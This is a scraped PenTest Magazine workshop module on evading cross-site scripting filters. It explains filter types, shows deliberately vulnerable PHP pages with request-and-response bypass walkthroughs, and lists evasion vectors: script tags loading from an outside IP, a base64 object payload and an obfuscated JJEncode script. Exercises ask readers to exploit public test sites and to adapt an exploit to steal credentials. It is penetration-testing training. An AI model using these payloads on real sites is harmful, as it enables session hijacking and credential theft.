11. http://thepacketgeek.com/series/building-network-tools-with-scapy/
42
Module IV
n the previous modules of this workshop series I have showed how to detect and exploit the
vulnerabilities that lead to the XSS attacks using different communication protocols. I showed also
you some basic example of filter evasion, in this In this module I am going to better illustrate the
techniques used to evade the poorly designed xss filters, adopted by programmers to protect their
web application from this kind of attack.
Introduction to XSS Filter

Talking about XSS attack, a filter could be defined as a piece of code designed to prevent that
arbitrary malicious or dangerous code, generally coming from untrusted HTML, is executed in the
user browser context. This filters usually are based on the following patterns:
Blacklist filters: usually these filters are designed to prevent certain characters can harm the
security of the web application. A typical example of this kind of filters is a filter that discards all
the input string containing the string <script>. These filters are far to be effective because is
really difficult to determine the whole harmful input set for a web application. Usually this kind of
filter is easy to bypass but if properly implemented you have to spend a lot of time to figure out
how to execute your code without being catched from the filter;
Whitelist filters: these filters are designed to allow only the user input considered harmless by the
programmers/software engineers. Consider a variable designed to contain the name of the day
of the week, a whitelist filter for this variable would accept only the following as valid input values:
Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday. Usually its hard to bypass this
kind of filters because it is unlikely to find a known pattern usable to inject html code. Dont forget
that also in this case programmers make mistakes;
Regular expression filters: these filters are similar to the whitelists ones except they are designed
to allow more generic input strings.These filters are powerful and, if properly designed, they can
stop virtually any malicious payload. A typical example of this kind of filter, at least here in Italy,
is the syntax validation of the healthcard ids. A such filter would allow as input only a string that
matches the following rules: the first six characters must be alphabetic, followed by two numeric
characters, followed by an alphabetic character, followed by two numeric characters, followed
by an alphabetic character, followed by three number characters, terminated by an alphabetic
character. A regular expression to validate the healthcard ids would be something like ^[A-Z]{6}
[0-9]{2}[A-Z]{1}[0-9]{2}[A-Z]{1}[0-9]{3}[A-Z]{1}. To bypass this kind of filter, the attack surface
area is represented by the poor implementation of the filter itself and by the vulnerabilities in the
libraries used to implement the pattern matching routines.
43
The above mentioned class of filters can be implemented in several different point along the journey
of requests and responses of a web application. In a modern network environment, the user input
filters could be implemented as shown in Figure 1.
Figure 1. Web Application Filter Stack
Operating System Filters: at this layer the filters are implemented using an host based intrusion
detection system or by using the pattern matching of the local firewall. Since multiple applications
can share the same system, and thus may require different rules to filter the user input, usually the
filters implemented at this layer follow the blacklist pattern, thus they are relatively easy to bypass;
Web Server Filters: the filters implemented at this layer are designed assuming to be effective
at network level. Depending on the device\software type this kind of filters usually follow either
the blacklist that the regular expression pattern. Based on my experience, its rare to find well
designed filters on this layers: in real life no one (TM) different from the one who developed
the application really knows what kind of input is required for each parameter managed by the
application, so the network admins tend to avoid interferences with the application logic and filter
out only what is considered bad (blacklist pattern);
Web Application Filters: this kind of filters are the most effective ones because can be implemented
according to the blacklist, the whitelist and the regular expression pattern. Although used alone a
filter is not enough to protect the web application from the XSS attacks, a well designed filter can
prevent a cross site scripting attack.
44
XSS Filter Evasion

The process necessary in order to evade a user input filter is context-aware: you have to deeply
understand how the filters in place are implemented in order to bypass them. Usually during
a penetration test you do not have access to the filters implementation details, so you have to
understand how the filters have been implemented by the observing the web application responses
to a malicious input payload. Lets assume that we want to test if we are able to evade a filter by
supplying the following pattern as input string: ;!<PTMAG>=&{()} ~[]/$:+$$ _ _ . Once the
user input is submitted to the web application we have to observe the response. Usually the web
applications behave in the following ways:
Silent discard: the user input is included in the resulting page without the character intercepted
and filter out by the security filter. This is the luckiest case, and thus rare to find in real life
scenarios, because in one shot you are able to determine whether your input payload has a
chance to trick the filter or not;
Explicit Discard: In my working experience sometimes i have found error pages which report
the character that triggers the security filter dont rely on this when you are dealing with filter
evasion process, but feel free to investigate if you can obtain this kind of information;
Error page redirection: by supplying malicious input to the web application the response consist
in a redirection to an error page that does not include nothing related to the supplied input.
Depending on the obtained response you can get an idea about the kind of filter implemented
but, basically, you have to proceed by successive approximations in order to figure out whether
the filter is safe or not. Starting from the base request, a possible approach to detect an effective
payload to bypass the filter, is by issuing successive requests removing each time a different
character. If the application response varies, including your input payload in the generated
page, you can try to figure out if using the identified payload is possible to carry an XSS attack.

Forexample, you can issue the request ;!<PTMAG>=&{()} ~[]/$:+$$ _ _ obtaining a redirection
to the error page, then you can issue the request !<PTMAG>=&{()} ~[]/$:+$$ _ _ obtaining
again redirection to the error page, then ;!=&{()} ~[]/$:+$$ _ _ , obtaining the supplied input
in the web application response.
Figure 2 shows the described filter evasion process.
Figure 2. Sample filter evasion process
Lets try to implement the filter evasion process on a blacklist filter example and on a regular
expression filter example. Consider the following vulnerable code that implements a blacklist filter
and imagine that the page which includes it is used to generate the link to the users pages. Imagine
that you have no access to the source code and that you have to determine how to bypass the filter
implemented at line 8.
45
1 <html>
2 <head>
3 <title>Buggy Evasion</title>
4 </head>
5 <body>
6 <?
7 if (isset($_GET[userparam])) {
8 if (strpos($_GET[userparam], script)) {
9 echo <a href=http://www.pentestmag.com/.
10 str_replace(script, null, $_GET[userparam]) .
11 >Go to Pentest Magazine User Page</a> ;
12 } else {
13 echo <a href=http://www.pentestmag.com/. $_GET[userparam] .
15 }
16 }
17 ?>
18 </body>
19 </html>
The first request to the application could be, as mentioned above, like the following:
GET /evasion.php?userparam=<script>alert(1);</script> HTTP/1.1
Host: 192.168.204.2

The request produces the following response by the server:
HTTP/1.1 200 OK
Date: Tue, 23 Dec 2014 01:10:04 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u14
Vary: Accept-Encoding
Content-Length: 169
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
<html>
<head>
<title>Buggy Evasion</title>
</head>
<body>
<a href=http://www.pentestmag.com/<>alert(1);</>>Go to Pentest Magazine User Page</
a></body>
</html>
As you can see the script gets replaced with a null string. We can try to mutate the case (eg.
alternating uppercase and lowercase) of the characters contained in the tag script, in order to trick
the filter: the browser executes the javascript independently from the case of the tag characters.
Therequest could be the like the following:
GET /evasion.php?userparam=><ScRiPt>alert(1);</ScRiPt><dummy+a= HTTP/1.1
Host: 192.168.204.2
46
This time the response includes some part of the user supplied input in the generated page,
asshownbelow:
HTTP/1.1 200 OK
Date: Tue, 23 Dec 2014 01:15:18 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u14
Content-Length: 193
<html>
<head>
</head>
<body>
<a href=http://www.pentestmag.com/><ScRiPt>alert(1);</ScRiPt><dummy a=>Go to Pentest
Magazine User Page</a></body>
</html>
Figure 3. Shows arbitrary code executed in the browser
Consider the following vulnerable code that implements a regular expression filter, and consider that
you are under the same limitations of the example above. Imagine that you have no access to the
source code and that you have to determine how to bypass the filter implemented at line 8.
1 <html>
2 <head>
3 <title>Buggy Evasion</title>
4 </head>
5 <body>
6 <?
7 if (isset($_GET[userparam])) {
8 if (preg_match_all(/<[^>]+>/, $_GET[userparam])) {
9 echo(No no no naughty boy );
10 } else {
11 echo <a href=http://www.pentestmag.com/. $_GET[userparam] .
13 }
14 }
15 ?>
16 </body>
17 </html>
47
The first request to the application could be, as mentioned above, like the following:
GET /evasion.php?userparam=;!<PTMAG>=&{()+~[]/$:+$$__ HTTP/1.1
Host: 192.168.204.2
The request produces the following response by the server:

HTTP/1.1 200 OK
Date: Tue, 23 Dec 2014 01:49:34 GMT
Content-Length: 106
<html>
<head>
</head>
<body>

No no no naughty boy </body>
</html>
Observing the response you can notice that the filter has been triggered but you have no information
from the error message about what part of the supplied input has triggered it. The only way to identify
a valid input suitable for xss attacks is by issuing a new request which not contains a part of the input
that triggers the filter. Since is very probable that the filter is matching the tag included in the user
supplied input, we can issue a new request which does not include the <PTMAG> tag. The request
could be the like the following:
GET /evasion.php?userparam=;!=&{()+~[]/$:+$$__ HTTP/1.1
Host: 192.168.204.2
This time the response includes some part of the user supplied input in the generated page,
asshownbelow:
HTTP/1.1 200 OK
Date: Tue, 23 Dec 2014 01:52:14 GMT
Content-Length: 163
<html>
<head>
</head>
<body>
<a href=http://www.pentestmag.com/;!=>Go to Pentest Magazine User Page</a></body>
</html>
48
At this point we have to find a way to perform the injection and execute the arbitrary code using the
available characters. In this case we can use the HTML events as a method to execute the arbitrary
script when certain conditions are met within response page. Since the element in which the injection
occurs is clickable, we can execute the arbitrary code once the onmouseover event is fired.
Therequest used to bypass the filter and execute arbitrary code could be the following:
GET /evasion.php?userparam=+onmouseover=alert(XSS) HTTP/1.1
Host: 192.168.204.2
Below is reported the generated response page which includes our payload that gets executed each
time the mouse pointer is passed over the link, as shown in Figure 4:
HTTP/1.1 200 OK
Date: Tue, 23 Dec 2014 02:23:31 GMT
Content-Length: 182
<html>
<head>
</head>
<body>
<a href=http://www.pentestmag.com/ onmouseover=alert(XSS)>Go to Pentest Magazine
User Page</a></body>
</html>
Figure 4. Code executed in the browser environment
XSS Filter Evasion Vectors

Filter evasion vectors is in continue evolutions, for a more accuratereference of the vectors available
please consult the references [1][2][3]. In the following paragraph i will show the most common
evasion techniques used during the pentest i have conducted.
You can avoid the use of white space by using /, /**/, or nothing at all after quoted attributes.
49
<script/**/src=http://1.2.3.4type=text/javascript>
<script/src=http://1.2.3.4type=text/javascript>
In the situations where the number of characters used for the injection is a problem or if you have to
bypass regular expression like (ht|f)tp(s)?:// you can trick the protocol resolution handler by using
// which translates to http://
<script src=//1.2.3.4j>
You can encode a payload using base64 inside a tag that supports it (eg. object)
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=></object>
Using a tool[4] whose use is discouraged by the researcher who developed the technique, because
is detected easily in his opinion but not in my experience during the penetration tests, is possible to
execute arbitrary javascript using only the following characters: $= ~[];+ _ \!().
$=~[];$={___:++$,$$$$:(![]+)[$],__$:++$,$_$_:(![]+)[$],_$_:++$,$_$$:({}+)
[$],$$_$:($[$]+)[$],_$$:++$,$$$_:(!+)[$],$__:++$,$_$:++$,$$__:({}+)[$],$$_:++$
,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+)
[$.__$])+((!$)+)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!+)[$.__$])+($._=(!+)
[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!+)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.__
_)[$.$_][$.$_];$.$($.$($.$$+\+$.$_$_+(![]+)[$._$_]+$.$$$_+\\+$.__$+$.$$_+$._$_+$.
__+(+$.__$+)+\)())();

Conclusions
In this module I have shown you how to bypass the filters implemented to prevent the XSS attacks.
As usual, during a penetration test you have to adapt these techniques against your scenario in order
to successfully exploit the vulnerabilities. The journey is ended for the moment, I hope you enjoyed
the workshop and the techniques illustrated. I would like to thanks Milena Bobrowska for the infinite
patience and the opportunity given to me with this workshop. I would also thanks Luca Profico and
Panfilo Salutari for their precious contribute and for the articles review.
References
1. https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
2. https://html5sec.org/
3. https://dev.opera.com/articles/javascript-for-hackers/
4. http://utf-8.jp/public/jjencode.html
5. http://p42.us/favxss/
50
MODULE II EXERCISES
In order to practice with the topics covered, i propose the following exercises that require you to find
and exploit some XSS on various on-line vulnerable web applications.
Exercise #1
The vulnerable web application located at the address http://testasp.vulnweb.com/ is prone to Cross
Site Scripting attacks (HTTP GET Method). Find and exploit the vulnerabilities that lead to XSS attacks
using the techniques showed during the workshop.
Exercise #2
The vulnerable web application located at the address http://zero.webappsecurity.com/ is prone to

Cross Site Scripting attacks (HTTP GET/POST Methods). Find and exploit the vulnerabilities that lead
to XSS attacks using the techniques shown during the workshop.
Exercise #3
Modify the XSS exploit shown in the article to submit the forms and steal the user credentials instead
that showing a popup with the stolen credentials..
MODULE III EXERCISES

In order to practice with the topics covered, I propose the following exercises that requires you to find
and exploit some XPS.
Exercise #1
Try the illustrated techniques against YOUR OWN home router. If you are not the owner please dont
try this against it
Exercise #2
Consider the following PHP code
51
$user = [email protected];
$pass = pwd;
$host = 1.2.3.4;
$con = imap_open({$host/pop3/novalidate-cert}INBOX, $user, $pass);
$MC = imap_check($con);
$range = 1:.$MC->Nmsgs;
$response = imap_fetch_overview($con,$range);
foreach ($response as $msg) {
echo <pre>;
echo #{$msg>msgno} ({$msg->date}) From: {$msg->from} {$msg->subject}\n;
echo </pre><br><br>;
}
Write the exploit capable to execute arbitrary javascript code. Ps. run the mail server and the
vulnerable page on your computer
MODULE IV EXERCISES
In order to practice with the topics covered, I propose the following exercises that requires you to
exploit the following XSS filters.
Exercise #1
<html>
<head>
</head>
<body>
<?

if (isset($_GET[userparam])) {
if (strpos(strtolower($_GET[userparam]), alert) ||
strpos(strtolower($_GET[userparam]), prompt)||
strpos(strtolower($_GET[userparam]), eval)||
strpos(strtolower($_GET[userparam]), src) ) {
$replaced = str_replace(alert, null, strtolower($_GET[userparam]));
$replaced = str_replace(prompt, null, $replaced);
$replaced = str_replace(eval, null, $replaced);
$replaced = str_replace(src, null, $replaced);
echo <a href=http://www.pentestmag.com/. $replaced .
>Go to Pentest Magazine User Page</a> ;
} else {
echo <a href=http://www.pentestmag.com/. $_GET[userparam] .
>Go to Pentest Magazine User Page</a> ;
}
}
?>
</body>
</html>
Write the exploit capable to execute arbitrary javascript code.
Exercise #2
<html>
<head>
</head>
<body>
<?
if (isset($_GET[imagepath])) {
echo <img alt=Image src=.htmlentities($_GET[imagepath]). />;
}
?>
</body>
</html>
52
Write the exploit capable to execute arbitrary javascript code.
Francesco Perna
Francesco Perna is a computer enthusiast since childhood, he has
spent more than 15 years in the research field focusing on the security
issues related to applications and communication protocols, both from
the offensive and defensive point of view. He also cooperated with the
OWASP Project writing the chapter on Java for the Owasp Backend
Security Project. Francesco is also a certified lead auditor 27001
and OSSTMM Professional Security Tester (OPST) He is a partner
and technical director of Quantum Leap s.r.l., an Italian company that
offers security services like pentesting, security evaluations and code
review to customers such as: utility and telecommunication companies,
governments, military, enterprise and corporations, financial institutions,
insurance companies.
SharePoint is at the Crossroads

Which Way Will You Go?
SharePoint in the cloud or on premises? Or both? Come to SPTechCon Austin
2015 and learn about the differences between Office 365, cloud-hosted
SharePoint, on-premises SharePoint, and hybrid solutions and build your
companys SharePoint Roadmap!
For developers, the future means a new app model and new app paradigms.
For IT pros and SharePoint admins, its trying to retain control over an installation thats now in the cloud. For information workers and their managers, its
about learning how to work social. But its not for everyone.
Where do you need to be?
The answer is simple: SPTechCon Austin. With a collection of the top
SharePoint MVPs and expert speakers, more than 80 classes and tutorials
to choose from and panels focused on the changes in SharePoint,
SPTechCon will teach you how to master the present and plan for the future.
Migrate to SharePoint 2013! Prepare for Office 365!

Build Your Hybrid Model!
A BZ Media Event
SPTechCon is a trademark of BZ Media LLC. SharePoint is a registered trademark of Microsoft.
February 8 -11, 2015

Renaissance Austin Hotel
80+ Classes
40+ Microsoft Expert
Speakers
Get Your Texas-Sized
Registration Discount
Register NOW!
www.sptechcon.com

PenTest XSS

Uploaded by

Copyright:

Available Formats

PenTest XSS

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

PenTest XSS

Uploaded by

Copyright:

Available Formats

What are some common XSS attacks discussed in the document?

What are some common XSS attacks discussed in the document?

How can XSS vulnerabilities be detected in web applications?

How can XSS vulnerabilities be detected in web applications?

PenTest Magazine | Journey In The World of The XSS

Journey In The World ofTheXSS 3

MODULE III EXERCISES 51

PenTest Magazine | Workshop

Journey In The World of The XSS | PenTest Magazine

Journey In The World

Introduction to web application security

Detect the vulnerabilities that allow you to performXSSattacks

Introduction to XPS Attacks (Cross Protocol Scripting)

Introduction toXSSFilter evasion

Workshop | PenTest Magazine

PenTest Magazine | Journey In The World of The XSS

Introduction to web application security

Hello, I am a Cross Site Scripting attack

PenTest Magazine | Workshop

Journey In The World of The XSS | PenTest Magazine

Javascript/HTML/DOM functionalities useful in XSS attacks.

Workshop | PenTest Magazine

PenTest Magazine | Journey In The World of The XSS

history entry in response to some user action.

method: the HTTP method to use, such as GET or POST;

PenTest Magazine | Workshop

Journey In The World of The XSS | PenTest Magazine

Workshop | PenTest Magazine

PenTest Magazine | Journey In The World of The XSS

PenTest Magazine | Workshop

Journey In The World of The XSS | PenTest Magazine

How to detect the vulnerabilities used in XSS attacks

Workshop | PenTest Magazine

PenTest Magazine | Journey In The World of The XSS

Figure 1. Firefox Proxy Settings

PenTest Magazine | Workshop

Journey In The World of The XSS | PenTest Magazine

Figure 3. Burp! suite add proxy listener

Figure 4. Burp! suite add proxy listener

Workshop | PenTest Magazine

PenTest Magazine | Journey In The World of The XSS

Figure 5. Burp! suite send a request to spider

Figure 6. Burp! suite site map

PenTest Magazine | Workshop

Journey In The World of The XSS | PenTest Magazine

Figure 7. Burp! suite send a request to repeater from site map

Figure 8. Burp! suite repeat a request

Workshop | PenTest Magazine

PenTest Magazine | Journey In The World of The XSS

Figure 9. Injected Javascript code executed by Web Browser

PenTest Magazine | Workshop

Journey In The World of The XSS | PenTest Magazine

Figure 10. Web page rendered in the browser

Figure 11. Intercepted request in the proxy window.

Figure 12. Resulting page in repeater

Workshop | PenTest Magazine

PenTest Magazine | Journey In The World of The XSS

Figure 13. Resulting page with unmodified pattern

Figure 14. Injected Javascript code executed by Web Browser